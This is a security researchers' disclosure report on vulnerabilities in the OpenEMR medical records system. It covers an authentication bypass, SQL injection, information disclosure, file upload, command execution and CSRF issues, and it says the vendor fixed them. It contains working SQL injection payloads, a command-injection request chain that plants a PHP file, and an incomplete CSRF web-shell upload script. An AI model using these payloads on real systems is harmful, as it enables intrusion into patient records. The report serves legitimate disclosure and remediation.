



P R O J E C T

**INSECURITY**

Project Insecurity - [insecurity.sh](http://insecurity.sh)

**OpenEMR v5.0.1.3 - Vulnerability Report**

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## 1.0 - Abstract

OpenEMR is the most popular open-source electronic medical record and medical practice management solution. This report details the vulnerabilities our team uncovered in OpenEMR. Some examples of vulnerabilities detailed below include a portal authentication bypass, multiple instances of SQL injection, multiple instances of remote code execution, unauthenticated information disclosure, unrestricted file upload, CSRFs including a CSRF to RCE proof of concept, and unauthenticated administrative actions.

## 1.1 - Methodology

We set up our OpenEMR testing lab on a Debian LAMP server with the latest source code downloaded from Github (<https://github.com/openemr/openemr>). The vulnerabilities disclosed in this report were found by manually reviewing the source code and modifying requests with Burp Suite Community Edition, no automated scanners or source code analysis tools were used.

## 1.2 - Credits

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## 1.3 - Disclosure Timeline

July 7th, 2018 - Reached out to vendor

July 9th, 2018 - Made first contact, agreed to a one-month public disclosure release date

July 20th, 2018 - Vendor pushes an update fixing the vulnerabilities

August 7th - Public Release Date

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# DISCOVERIES

## 2.0 - Patient Portal Authentication Bypass

An unauthenticated user is able to bypass the Patient Portal Login by simply navigating to the registration page and modifying the requested url to access the desired page. Some examples of pages in the portal directory that are accessible after browsing to the registration page include:

- add\_edit\_event\_user.php
- find\_appt\_popup\_user.php
- get\_allergies.php
- get\_amendments.php
- get\_lab\_results.php
- get\_medications.php
- get\_patient\_documents.php
- get\_problems.php
- get\_profile.php
- portal\_payment.php
- messaging/messages.php
- messaging/secure\_chat.php
- report/pat\_ledger.php
- report/portal\_custom\_report.php
- report/portal\_patient\_report.php

Normally, access to these pages requires authentication as a patient. If a user were to visit any of those pages unauthenticated, they would be redirected to the login page.

**Severity: High**

## Walkthrough:

The screenshot shows a web browser window with the URL `openemr/portal/account/register.php`. At the top, there is a progress bar with four steps: 1. Get Started, 2. Profile, 3. Insurance, and 4. Register (which is highlighted in blue). Below the progress bar, the page is titled "Contact". The form includes the following fields: "Language" (set to "Default - English (Standard)"), "First Name", "Middle" (with the placeholder "Full or Initial"), "Last Name" (with the placeholder "Enter Last"), "Birth Date" (with the placeholder "YYYY-MM-DD"), and "Enter E-Mail Address" (with the placeholder "Enter email address to receive registration."). A blue "NEXT" button is located at the bottom of the form.

Figure 1: Patient Portal Registration Page

From the Patient Portal login page, navigate to the patient registration page, then modify the URL to navigate to the page you would like to visit such as `add_edit_event_user.php`, a page that would allow an unauthenticated user to book appointments in the OpenEMR system.

The screenshot shows a web browser window with the URL `openemr/portal/add_edit_event_user.php`. The page displays a form for adding or editing an event. The form includes the following fields: "Visit" (set to "Office Visit"), "Date" (set to "2018-06-28"), "Time" (set to "PM"), "Duration" (set to "0 minutes"), and "Reason" (set to "ProjectInsecurity - PoC - Authentication Bypass"). A green "Save" button is located at the bottom left of the form.

Figure 2: `/portal/add_edit_event_user.php`

## Impact:

The photo below demonstrates the severity of the vulnerability by performing the authentication bypass to access `get_profile.php` which displayed a random customer profile from a real target. All the information, minus the first name, have been redacted to protect the identity of the patient.




Figure 3: `[redacted]/openemr/portal/get_profile.php`

## Vulnerable Code:

```
//continue session
session_start();

//landing page definition -- where to go if something goes wrong
$landingpage = "index.php?site=".$_SESSION['site_id'];
//

// kick out if patient not authenticated
if (isset($_SESSION['pid']) && isset($_SESSION['patient_portal_onsite_two'])) {
    $pid = $_SESSION['pid'];
} else {
    session_destroy();
    header('Location: '.$landingpage.'&w');
    exit;
}

//
```

---

```
$ignoreAuth=true; // ignore the standard authentication for a regular OpenEMR user
require_once(dirname(__file__) . '/../interface/globals.php');
```

Figure 4: verify\_session.php - Lines 42-48

```
$_SESSION['patient_portal_onsite_two'] = true;
$_SESSION['authUser'] = 'portal-user';
$_SESSION['pid'] = true;
```

Figure 5: account/register.php - Lines 16-19

Verify\_session.php only checks whether “pid” & “patient\_portal\_onsite\_two” are set. Register.php shows us that these are actually being set upon visiting. This is highly concerning, as this now allows an unauthenticated attacker to leverage a couple of the SQL Injection vulnerabilities mentioned below, compromising all records in the database.

### Cause:

The only times that this authentication bypass works, is if the variable “\$ignoreAuth” is set to true. Conflicts begin to arise when the traditional authentication mechanism is loaded (auth.inc). In globals.php, we will notice that auth.inc only gets loaded if \$ignoreAuth is set to false. There are multiple instances in OpenEMR where \$ignoreAuth is **NOT** set to false.

```
if (!$ignoreAuth) {
    include_once("$srcdir/auth.inc");
}
```

Figure 6: interface/globals.php - Lines 566-568

Something to also note, \$ignoreAuth is set to true in the file verify\_session.php, therefore, every file that includes verify\_session.php ignores authentication as well.

## 3.0 - Multiple instances of SQL Injection

SQL Injection is a exploitation technique that consists of inserting a SQL query through the input data. A SQL Injection attack can be leveraged to view data from a target database or leveraged to perform a variety of other things i.e. perform database functions. Below are details about the 8 SQL injections we identified in OpenEMR.

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### 3.1 - SQL Injection in find\_appt\_popup\_user.php

SQL injection in find\_appt\_popup\_user.php is caused by unsanitized user input from the *catid* and *providerid* parameters. Exploiting this vulnerability requires authentication to Patient Portal; however, it can be exploited without authentication when combined with the Patient Portal authentication bypass mentioned above.

**Severity: High**

#### Vulnerable Code:

```
if ($input_catid) {
    $srow = sqlQuery("SELECT pc_duration FROM OpenEMR_postcalendar_categories WHERE
pc_catid = '$input_catid'");
    if ($srow['pc_duration']) {
        $catslots = ceil($srow['pc_duration'] / $slotsecs);
    }
}
```

Figure 1: find\_appt\_popup\_user.php - Lines 105-110

```
$query = "SELECT pc_eventDate, pc_endDate, pc_startTime, pc_duration, " .
"pc_recurrtype, pc_recurrspec, pc_alldayevent, pc_catid, pc_prefcatid, pc_title " .
"FROM openemr_postcalendar_events " .
"WHERE pc_aid = '$providerid' AND " .
"((pc_endDate >= '$sdate' AND pc_eventDate < '$edate') OR " .
"(pc_endDate = '0000-00-00' AND pc_eventDate >= '$sdate' AND pc_eventDate <
'$edate'))";
$res = sqlStatement($query);
```

Figure 2: find\_appt\_popup\_user.php - Lines 164-170

#### Proof of Concept:

```
http://host/openemr/portal/find_appt_popup_user.php?catid=1' AND (SELECT 0
FROM(SELECT COUNT(*),CONCAT(@@VERSION,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- -
```

### 3.2 - SQL Injection in add\_edit\_event\_user.php

SQL injection in add\_edit\_event\_user.php is caused by unsanitized user input from the *eid*, *userid*, and *pid* parameters. Exploiting this vulnerability requires authentication to Patient Portal; however, it can be exploited without authentication when combined with the Patient Portal authentication bypass mentioned above.

**Severity: High**



## Vulnerable Code:

```
if ($eid) {
    $selfacil = '';
    $facility = sqlQuery("SELECT pc_facility, pc_multiple, pc_aid, facility.name
                        FROM openemr_postcalendar_events
                        LEFT JOIN facility ON
(openemr_postcalendar_events.pc_facility = facility.id)
                        WHERE pc_eid = $eid");
```

Figure 3: add\_edit\_event\_user.php - Lines 116-121

```
if ($userid) {
    $pref_facility = sqlFetchArray(sqlStatement("SELECT facility_id, facility FROM
users WHERE id = $userid"));
    $e2f = $pref_facility['facility_id'];
    $e2f_name = $pref_facility['facility'];
}
```

Figure 4: add\_edit\_event\_user.php - Lines 636-640

```
if ($patientid) {
    $prow = sqlQuery("SELECT lname, fname, phone_home, phone_biz, DOB " .
    "FROM patient_data WHERE pid = " . $patientid . "");
```

Figure 5: add\_edit\_event\_user.php - Lines 616-618

## Proof of Concept:

```
http://host/openemr/portal/add_edit_event_user.php?eid=1 AND
EXTRACTVALUE(0,CONCAT(0x5c,VERSION()))
```

## 3.3 - SQL Injection in Anything\_simple.php

Anything\_simple.php does a decent job at preventing SQL injection by using placeholders in SQL queries; however, the *getProviderIdOfEncounter* function in forms.inc does not utilize the same prevention technique. Instead, user input from the *encounter* parameter is directly placed into an SQL query when passed through the *getProviderIdOfEncounter* function, leaving the web application vulnerable to SQL injection. Exploiting this vulnerability requires authentication in the OpenEMR interface.

**Severity: High**

## Vulnerable Code:

```
$encounter = $_REQUEST['encounter'];
$category_name = $_REQUEST['category_name'];

$query = "SELECT * FROM patient_data where pid=?";
$pat_data = sqlQuery($query, array($pid));

$providerID = getProviderIdOfEncounter($encounter);
```

Figure 6: Anything\_simple.php - Lines 41-47

```
function getProviderIdOfEncounter($encounter)
{
    global $attendant_type;
    $table = $attendant_type == 'pid' ? 'form_encounter' :
'form_groups_encounter';
    $sql = "select provider_id from $table where encounter='$encounter' order by
date";
    $res = sqlQuery($sql);
    return $res['provider_id'];
}
```

Figure 7: forms.inc - Lines 163-170

## Proof of Concept:

```
http://host/openemr/interface/forms/eye_mag/php/Anything_simple.php?display=i&encoun
ter=1' AND (SELECT 0 FROM(SELECT COUNT(*),CONCAT(@@VERSION,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- -&category_name=POSTSEG
```

## 3.4 - SQL Injection in forms\_admin.php

A SQL injection attack can occur in the vulnerable *id* parameter due to user input being placed directly into the SQL query in the *getRegistryEntry* function from registry.inc. Exploiting this vulnerability requires authentication in the OpenEMR interface.

**Severity: High**

## Vulnerable Code:

```
if ($_GET['method'] == "enable") {
    updateRegistered($_GET['id'], "state=1");
} elseif ($_GET['method'] == "disable") {
    updateRegistered($_GET['id'], "state=0");
} elseif ($_GET['method'] == "install_db") {
    $dir = getRegistryEntry($_GET['id'], "directory");
```

Figure 8: forms\_admin.php - Lines 16-21

```

function getRegistryEntry($id, $cols = "*")
{
    $sql = "select $cols from registry where id='$id'";
    return sqlQuery($sql);
}

```

Figure 9: registry.inc - Lines 59-63

### Proof of Concept:

```

http://host/openemr/interface/forms_admin/forms_admin.php?id=32' OR (SELECT 0
FROM(SELECT COUNT(*),CONCAT(@@VERSION,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- --&method=enable

```

### 3.5 - SQL Injection in search\_code.php

A SQL injection can take place when sending a POST request to search\_code.php with a payload in the vulnerable *text* parameter. The input from the *text* parameter is included directly into an SQL query without any sanitization. Exploiting this vulnerability requires authentication to the OpenEMR interface.

**Severity: High**

### Vulnerable Code:

```

if (isset($_POST["mode"]) && $_POST["mode"] == "search" && $_POST["text"] != "") {
    // $sql = "SELECT * FROM codes WHERE (code_text LIKE '%" . $_POST["text"] .
    //      "' OR code LIKE '%" . $_POST["text"] . "%') AND code_type = '" .
    //      $code_types[$code_type]['id'] . "' ORDER BY code LIMIT " . ($M + 1);

    // The above is obsolete now, fees come from the prices table:
    $sql = "SELECT codes.*, prices.pr_price FROM codes " .
        "LEFT OUTER JOIN patient_data ON patient_data.pid = '$pid' " .
        "LEFT OUTER JOIN prices ON prices.pr_id = codes.id AND " .
        "prices.pr_selector = '" . $code_types[$code_type]['id'] . "' AND " .
        "prices.pr_level = patient_data.pricelevel " .
        "WHERE (code_text LIKE '%" . $_POST["text"] . "%' OR " .
        "code LIKE '%" . $_POST["text"] . "%') AND " .
        "code_type = '" . $code_types[$code_type]['id'] . "' " .
        "ORDER BY code " .
        "LIMIT " . ($M + 1).
        """;

    if ($res = sqlStatement($sql)) {

```

Figure 10: search\_code.php - Lines 54-72

## Proof of Concept:

```
POST /openemr/interface/patient_file/encounter/search_code.php?type= HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:60.0) Gecko/20100101
Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 20
Cookie: OpenEMR=d8t7or7slkfpg63qcl73ne8fa1; PHPSESSID=c3li5j4bq86mbvlrrbkqig8r75
Connection: close
Upgrade-Insecure-Requests: 1

mode=search&text=')+or+updatexml(null,concat(0x0a,version()),null)---+
```

### 3.6 - SQL Injection in find\_drug\_popup.php

User input from the *search\_term* parameter is included directly in a query in *find\_drug\_popup.php* enabling the possibility of an SQL injection attack. Exploiting this vulnerability requires authentication to the OpenEMR interface.

**Severity: High**

#### Vulnerable Code:

```
<?php if ($_REQUEST['bn_search']) {
    $search_term = $_REQUEST['search_term'];
    {
        $query = "SELECT count(*) as count FROM drugs " .
            "WHERE (drug_id LIKE '%$search_term%' OR " .
            "name LIKE '%$search_term%') ";
        $res = sqlStatement($query);
    }
}
```

Figure 11: *find\_drug\_popup.php* - Lines 151-157

## Proof of Concept:

```
http://host/openemr/interface/de_identification_forms/find_code_popup.php?search_status=1&search_term=')+or+updatexml(null,concat(0x0a,version()),null)---&bn_search=Search
```

### 3.7 - SQL Injection in find\_immunization\_popup.php

Similar to the SQL injection vulnerability in *find\_drug\_popup.php*, a SQL injection attack can occur due to the user input from the *search\_term* parameter is included directly in an SQL query without sanitization. Exploiting this vulnerability requires authentication to the OpenEMR interface.

**Severity: High**

#### Vulnerable Code:

```
$search_term = $_REQUEST['search_term'];
{
    $query = "SELECT count(*) as count FROM list_options " .
        "WHERE (list_id = 'immunizations' and title LIKE '%$search_term%' AND activity
= 1) " ;
    $res = sqlStatement($query);
```

Figure 12: find\_immunization\_popup.php - Lines 144-148

#### Proof of Concept:

```
http://host/openemr/interface/de_identification_forms/find_immunization_popup.php?se
arch_status=1&search_term=')+or+updatexml(null,concat(0x0a,version()),null)---&bn_s
earch=Search
```

### 3.8 - SQL Injection in find\_code\_popup.php

Similar to the SQL injection vulnerabilities in find\_immunization\_popup.php and find\_drug\_popup.php, a SQL injection attack can occur due to the user input from the *search\_term* parameter is included directly in an SQL query without sanitization. Exploiting this vulnerability requires authentication to the OpenEMR interface.

**Severity: High**

#### Vulnerable Code:

```
<?php if ($_REQUEST['bn_search']) {
    $search_term = $_REQUEST['search_term'];
    if ($form_code_type == 'PROD') {
        $query = "SELECT dt.drug_id, dt.selector, d.name " .
            "FROM drug_templates AS dt, drugs AS d WHERE " .
            "( d.name LIKE '%$search_term%' OR " .
            "dt.selector LIKE '%$search_term%' ) " .
            "AND d.drug_id = dt.drug_id " .
            "ORDER BY d.name, dt.selector, dt.drug_id";
        $res = sqlStatement($query);
        $row_count = 0;
        while ($row = sqlFetchArray($res)) {
            $row_count = $row_count + 1;
            $drug_id = addslashes($row['drug_id']);
            $selector = addslashes($row['selector']);
            $desc = addslashes($row['name']);
            ?>
            <input type="checkbox" name="diagnosis[row_count]" value= "<?php echo
$desc; ?>" > <?php echo $drug_id."    ".$selector."    ".$desc."</br>";
        }
    } else {
```

```
$query = "SELECT count(*) as count FROM codes " .  
"WHERE (code_text LIKE '%$search_term%' OR " .  
"code LIKE '%$search_term%') " ;  
$res = sqlStatement($query);
```

Figure 13: find\_code\_popup.php - Lines 171-194

### Proof of Concept:

```
http://host/openemr/interface/de_identification_forms/find_code_popup.php?search_status=1&search_term='+or+updatexml(null,concat(0x0a,version()),null)--+&bn_search=Search
```

## 3.9 - SQL Injection in de\_identification\_screen2.php

If an attacker with administrator access can modify the global variables in edit\_globals.php, they would be able to successfully inject SQL statements in de\_identification\_screen2.php. This is caused by the global "temporary\_files\_dir" variable being directly included inside the SQL query.

**Severity: High**

### Vulnerable Code:

```
$query = "LOAD DATA INFILE '". $GLOBALS['temporary_files_dir']."' /metadata_de_identification.txt' INTO TABLE metadata_de_identification FIELDS TERMINATED BY ',' LINES TERMINATED BY '\n';  
$res = sqlStatement($query);
```

Figure 14: de\_identification\_screen2.php - Lines 111-112

## 3.10 - Remediation Recommendations

For PHP, it's recommended to use parameterized queries to prevent SQL injection attacks in each of the vulnerable code snippets described above.

### References:

[https://www.owasp.org/index.php/SQL\\_Injection\\_Prevention\\_Cheat\\_Sheet](https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet)

<https://secure.php.net/manual/en/mysqli.quickstart.prepared-statements.php>


---

## 4.0 - Unauthenticated Information Disclosure

Information disclosure occurs when an application does not adequately protect sensitive information from parties that would not normally have access to said information. Although information disclosure isn't exploitable on its own it can allow an attacker to gather information which can be utilized later in the attack cycle.

### 4.1 - admin.php

There are several instances of unauthenticated information disclosure in OpenEMR. The first one we discovered lies at admin.php. Upon visiting `http://host/<OpenEMR_directory>/admin.php` an unauthenticated user will be prompted with the database name, the site ID as well as the current version of OpenEMR.



Site ID	DB Name	Site Name	Version	Action
default	openemr	OpenEMR	5.0.2-dev	Log In

Figure 1: admin.php

**Severity:** Low

### 4.2 - sql\_patch.php

Another instance of unauthenticated information disclosure lies at sql\_patch.php. Upon visiting the page it is possible to learn the version information of the installation. This is also an example of an unauthenticated administrative action as navigating to the page would trigger a database patch.




Figure 2: sql\_patch.php

Severity: **Low**

### 4.3 - setup.php

There is yet another instance of information disclosure in the /gacl directory. This occurs if the system administrator forgets to remove the setup.php file after the original installation. Upon accessing <https://host/openemr/setup.php>, it will greet you the current database driver, host, user, database and table prefix.

```
Configuration:  
driver = mysqli_mod,  
host = localhost,  
user = openemruser,  
database = openemr,  
table prefix = gacl_Testing database connection...  
Success! Connected to "mysqli_mod" database on "localhost".  
Testing database type...  
Success! Compatible database type "mysqli_mod" detected!  
Making sure database "openemr" exists...  
Success! Good, database "openemr" already exists!  
Success! First Step of Access Control Installation Successful!!!
```

Figure 3: /gacl/setup.php

Severity: **Low**



---

## 5.0 - Unrestricted File Upload

Open EMR is vulnerable to an unrestricted file upload vulnerability in `super/manage_site_files.php`. This is due to improper (non-existent), checks on the file submitted by the administrator. An authenticated user could use this vulnerability to escalate their privileges by uploaded a PHP web shell to execute system commands.

**Severity: Medium**

### Vulnerable Code:

```
    if (is_uploaded_file($_FILES['form_image']['tmp_name']) &&
$_FILES['form_image']['size']) {
        $form_dest_filename = $_POST['form_dest_filename'];
        if ($form_dest_filename == '') {
            $form_dest_filename = $_FILES['form_image']['name'];
        }

        $form_dest_filename = basename($form_dest_filename);
        if ($form_dest_filename == '') {
            die(htmlspecialchars(xl('Cannot find a destination filename')));
        }

        $imagepath = "$imagedir/$form_dest_filename";
        // If the site's image directory does not yet exist, create it.
        if (!is_dir($imagedir)) {
            mkdir($imagedir);
        }

        if (is_file($imagepath)) {
            unlink($imagepath);
        }

        $tmp_name = $_FILES['form_image']['tmp_name'];
        if (!move_uploaded_file($_FILES['form_image']['tmp_name'], $imagepath)) {
            die(htmlspecialchars(xl('Unable to create') . " '$imagepath'"));
        }
    }
}
```

Figure 1: `manage_site_files.php` - Lines 62-87

### Remediation Recommendations:

Since the uploading function above is meant for uploading images, it's important to take steps to ensure the file being uploaded is actually an image. This can be done by blacklisting malicious extensions, checking the MIME type of file, or utilizing the `getimagesize()` function to check whether the file is an image.

---

## References:

- <https://php.earth/docs/security/uploading>
- <https://www.acunetix.com/websitesecurity/upload-forms-threat/>
- <https://paragonie.com/blog/2015/10/how-securely-allow-users-upload-files>

## 6.0 - Remote Code Execution

Remote Code Execution happens when a user gains control of a value improperly sanitized by the server. An authenticated attacker could use these vulnerabilities to escalate their privileges on the server.

### 6.1 - RCE in sl\_eob\_search.php

A remote code execution vulnerability lies in OpenEMR's sl\_eob\_search.php file.

**Severity: High**

#### Vulnerable Code:

```
$STMT_PRINT_CMD = $GLOBALS['print_command'];
```

Figure 1: statement.inc.php - Line 30

```
exec("$STMT_PRINT_CMD $STMT_TEMP_FILE");
if ($_POST['form_without']) {
    $alertmsg = xl('Now printing') .' '. $stmt_count .' '. xl('statements; invoices will
not be updated.');
```

```
} else {
    $alertmsg = xl('Now printing') .' '. $stmt_count .' '. xl('statements and updating
invoices.');
```

In order to successfully exploit this vulnerability, an authenticated user must gain control of the print\_command global variable. The edit\_globals.php file makes this very easy for us.

```
http://host/openemr/interface/super/edit_globals.php
```

## Proof of Concept:

Step 1: Send request to edit\_globals.php that modifies the form\_279 value to write us a phpinfo() at ./rce.php.

```
POST /openemr/interface/super/edit_globals.php HTTP/1.1
Host: <redacted>
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://<redacted>/openemr/interface/super/edit_globals.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 4208
Cookie: OpenEMR=<redacted>; PHPSESSID=<redacted>
Connection: close
Upgrade-Insecure-Requests: 1

form_save=Save&srch_desc=&form_0=main_info.php&form_1=.%2F.%2Finterface%2Fmain%2Fmessages%2Fmessages.php%3Fform_active%3D1&form_2=1&form_3=tabs_style_full.css&form_4=style_light.css&form_5=__default__&form_6=__default__&form_7=1&form_8=0&form_9=175&form_10=OpenEMR&form_12=1&form_13=0&form_14=0&form_16=1&form_21=1&form_22=1&form_23=1&form_24=1&form_25=http%3A%2F%2Fopen-emr.org%2F&form_26=&form_27=20&form_28=10&form_30=3&form_31=0&form_32=5&form_33=0&form_38=English+%28Standard%29&form_39=1&form_41=1&form_43=1&form_44=1&form_45=1&form_46=1&form_47=1&form_48=1&form_49=1&form_50=1&form_51=1&form_52=0&form_53=0&form_54=&form_55=2&form_56=.&form_57=%2C&form_58=%24&form_59=0&form_60=3&form_61=6%2C0&form_62=0&form_63=0&form_64=_blank&form_70=1&form_71=1&form_78=1&form_80=0&form_81=&form_82=&form_85=1&form_86=1&form_88=1&form_90=1&form_91=1&form_92=1&form_93=1&form_94=Y1&form_95=1&form_96=2&form_97=0&form_99=14&form_100=11&form_101=24&form_102=20&form_104=0&form_105=0&form_106=ICD10&form_107=1&form_108=1&form_113=3&form_116=1&form_117=&form_120=1.00&form_122=0&form_124=&form_126=30&form_127=&form_128=60&form_129=&form_130=90&form_131=&form_132=120&form_133=&form_134=150&form_135=&form_136=1&form_139=1&form_140=1&form_142=1&form_143=0&form_144=localhost&form_145=&form_146=&form_147=5984&form_148=&form_151=Patient+ID+card&form_152=Patient+Photograph&form_153=Lab+Report&form_154=Lab+Report&form_156=100&form_158=8&form_159=17&form_160=15&form_161=day&form_162=1&form_163=2&form_164=1&form_165=10&form_166=10&form_167=15&form_168=20&form_169=1&form_170=%23FFFFFF&form_171=%23E6E6FF&form_172=%23E6FFE6&form_173=%23FFE6FF&form_174=1&form_175=0&form_177=1&form_178=1&form_179=1&form_182=1&form_183=1&form_184=1&form_185=1&form_186=D0&form_187=D0&form_188=0%3A20&form_189=0&form_191=33&form_192=0&form_195=7200&form_199=1&form_200=0&form_201=0&form_203=&form_204=&form_205=365&form_206=&form_207=1&form_209=&form_211=&form_212=&form_213=&form_214=&form_215=&form_216=&form_217=SMTP&form_218=localhost&form_219=25&form_220=&form_221=&form_222=&form_223=50&form_224=50&form_225=&form_226=&form_227=&form_228=50&form_229=&form_230=&form_231=&form_232=1&form_233=1&form_234=1&form_235=1&form_236=1&form_237=1&form_238=1&form_239=1&form_240=Model+Registry&form_241=125789123&form_242=1&form_243=1&form_244=1&form_245=&form_246=&form_247=1&form_248=1&form_249=1&form_250=5&form_251=1&form_253=1&form_254=1&form_255=1&form_256=1&form_257=1&form_258=1&form_259=1&form_263=&form_264=6514&form_265=&form_266=&form_268=1&form_269=0&form_270=%2Fusr%2Fbin&form_271=%2Fusr%2Fbin&form_272=%2Ftmp&form_273=%2Ftmp&form_274=26&form_275=state&form_276=1&form_277=26&form_278=country&form_279=echo%20%22%3C%3Fphp%20phpinfo()%3B%3F%3E%22%20%3E%20rce.php&form_280=&form_281=&form_283=2018-06-17&form_285=localhost&form_286=%2Fvar%2Fspool%2Fhylafax&form_287=encrypt%20-M%20letter%20-B%20-e%5E%20--margins%3D36%3A36%3A36%3A36&form_289=%2Fmnt%2Fscan_docs&form_290=1&form_291=https%3A%2F%2Fyour_web_site.com%2Fopenemr%2Fportal&form_293=1&form_294=1&form_295=1&form_296=1&form_297=https%3A%2F%2Fyour_web_site.com%2Fopenemr%2Fpatients&form_298=1&form_299=1&form_300=&form_301=&form_302=&form_303=https%3A%2F%2Fssh.mydocsportal.com%2Fprovider.php&form_304=https%3A%2F%2Fssh.mydocsportal.com&form_306=https%3A%2F%2Fyour cms_site.com%2F&form_307=&form_308=&form_309=0&form_310=https%
```

```
3A%2F%2Fhapi.fhir.org%2FbaseDstu3%2F&form_313=https%3A%2F%2Fsecure.newcropaccounts.com%2FinterfaceV7%2FRxEntry.aspx&form_314=https%3A%2F%2Fsecure.newcropaccounts.com%2Fv7%2FWebServices%2FUpdate1.aspx%3FWSDL%3Bhttps%3A%2F%2Fsecure.newcropaccounts.com%2Fv7%2FWebServices%2FPatient.aspx%3FWSDL&form_315=21600&form_316=21600&form_317=&form_318=&form_319=&form_320=1&form_325=&form_326=0&form_328=137&form_329=7C84773D5063B20BC9E41636A091C6F17E9C1E34&form_330=C36275&form_331=0&form_333=https%3A%2F%2Fphimail.example.com%3A32541&form_334=&form_335=&form_336=admin&form_337=5&form_340=1&form_347=LETTER&form_348=30&form_349=30&form_350=72&form_351=30&form_352=P&form_353=en&form_354=LETTER&form_355=5&form_356=5&form_357=5&form_358=8&form_359=D&form_360=1&form_361=9&form_362=1&form_363=104.775&form_364=241.3&form_365=14&form_366=65&form_367=220
```

Step 2: Send POST request to `sl_eob_search.php` asking to print the form. This is how Figure 2 gets called.

```
POST /openemr/interface/billing/sl_eob_search.php HTTP/1.1
Host: <redacted>
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 12
Cookie: OpenEMR=<redacted>; PHPSESSID=<redacted>
Connection: close
Upgrade-Insecure-Requests: 1

form_print=1
```

You should now be able to access

```
http://host/openemr/interface/billing/rce.php
```

## 6.2 - RCE in `fax_dispatch.php`

**Severity: High**

An attacker can execute system commands by inserting them into the `hylafax_encrypt` variable in `edit_globals.php`.

```
http://host/openemr/interface/super/edit_globals.php
```

### Vulnerable Code:

```
$tmp0 = exec("cd $webserver_root/custom; " . $GLOBALS['hylafax_encrypt'] .
" -o $tmpfn2 $tmpfn1", $tmp1, $tmp2);
```

Figure 3: `fax_dispatch.php` - Lines 315-316

---

## 6.3 - RCE in faxq.php

System commands can be executed if an attacker with administrative access were to insert commands into the *hylafax\_server* variable in *edit\_globals.php*.

**Severity: High**

### Vulnerable Code:

```
if ($GLOBALS['enable_hylafax']) {  
    // Get the recvq entries, parse and sort by filename.  
    $statlines = array();  
    exec("faxstat -r -l -h " . $GLOBALS['hylafax_server'], $statlines);  
}
```

Figure 4: faxq.php - Lines 29-32

## 6.4 - RCE in daemon\_frame.php

An attacker with administrative privileges can execute system commands by visiting *daemon\_frame.php* after they were inserted into the *hylafax\_server* variable in *edit\_globals.php*.

**Severity: High**

### Vulnerable Code:

```
if ($GLOBALS['enable_hylafax']) {  
    $statlines = array();  
    exec("faxstat -r -l -h " . $GLOBALS['hylafax_server'], $statlines);  
}
```

Figure 5: daemon\_frame.php - Lines 25-27

## 6.7 - Remediation Recommendations

All of these RCE vulnerabilities exist due to the fact that none of the global variables are being sanitized when being passed to a shell command. This can be avoided by using the following PHP functions, combined with safe programming practices:

- `escapeshellcmd()`
- `escapeshellarg()`

## 7.0 - CSRFs

---

OpenEMR is vulnerable to more than several cross-site request forgery vulnerabilities. The most impactful one is in `super/manage_site_files.php`, which we coincidentally covered above in our unrestricted file upload section. Obviously, if a malicious user were to convince an administrator to click a certain link, that malicious user could successfully pop a shell on their target.

Nearly all of OpenEMR's administrative actions are vulnerable to CSRF one way or another. Not directly, but through the `library/ajax` and also the `interface/super` directory. Here is a list of vulnerable files:

```
$ cd library/ajax; tree
.
├── addlistitem.php
├── adminacl_ajax.php
├── amc_misc_data.php
├── ccr_import_ajax.php
├── code_attributes_ajax.php
├── collect_new_report_id.php
├── dated_reminders_counter.php
├── document_helpers.php
├── drug_autocomplete
│   └── search.php
├── drug_screen_completed.php
├── execute_background_services.php
├── execute_cdr_report.php
├── execute_pat_reminder.php
├── facility_ajax_code.php
├── facility_ajax_jav.inc.php
├── find_patients.php
├── graphs.php
├── graph_track_anything.php
├── imm_autocomplete
│   └── search.php
├── left_nav_encounter_ajax.php
├── left_nav_issues_ajax.php
├── lists_touch.php
├── log_print_action_ajax.php
├── offsite_portal_ajax.php
├── payment_ajax_jav.inc.php
├── payment_ajax.php
├── pharmacy_autocomplete
│   └── search.php
├── plan_setting.php
├── prescription_drugname_lookup.php
├── rule_setting.php
├── set_pt.php
├── status_report.php
├── turnoff_birthday_alert.php
├── unset_session_ajax.php
├── upload.php
└── user_settings.php
```

```

$ cd interface/super; tree
.
├── edit_globals.php
├── edit_layout.php
├── edit_layout_props.php
├── edit_list.php
├── layout_listitems_ajax.php
├── layout_service_codes.php
├── load_codes.php
├── manage_document_templates.php
└── manage_site_files.php

```

## 7.1 - CSRF to RCE Chain

If a malicious user were to convince an OpenEMR administrator to open a specific link, they could successfully escalate this to remote code execution via uploading a web-shell through `super/manage_site_files.php`. By exploiting an unprotected file upload vulnerability, an unauthenticated attacker could use this to escalate privileges and spawn a shell on the box.

### Proof of Concept Code:

```

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <script>history.pushState('', '', '/')</script>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST",
"http://\\host\\openemr\\interface\\super\\manage_site_files.php", true);
        xhr.setRequestHeader("Accept",
"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
        xhr.setRequestHeader("Content-Type", "multipart/form-data;
boundary=-----11433621228035110981233851750");
        xhr.withCredentials = true;
        var body = "-----11433621228035110981233851750\r\n"
+
          "Content-Disposition: form-data; name=\"form_filename\"\r\n" +
          "\r\n" +
          "\r\n" +
          "-----11433621228035110981233851750\r\n" +
          "Content-Disposition: form-data; name=\"form_filedata\"\r\n" +
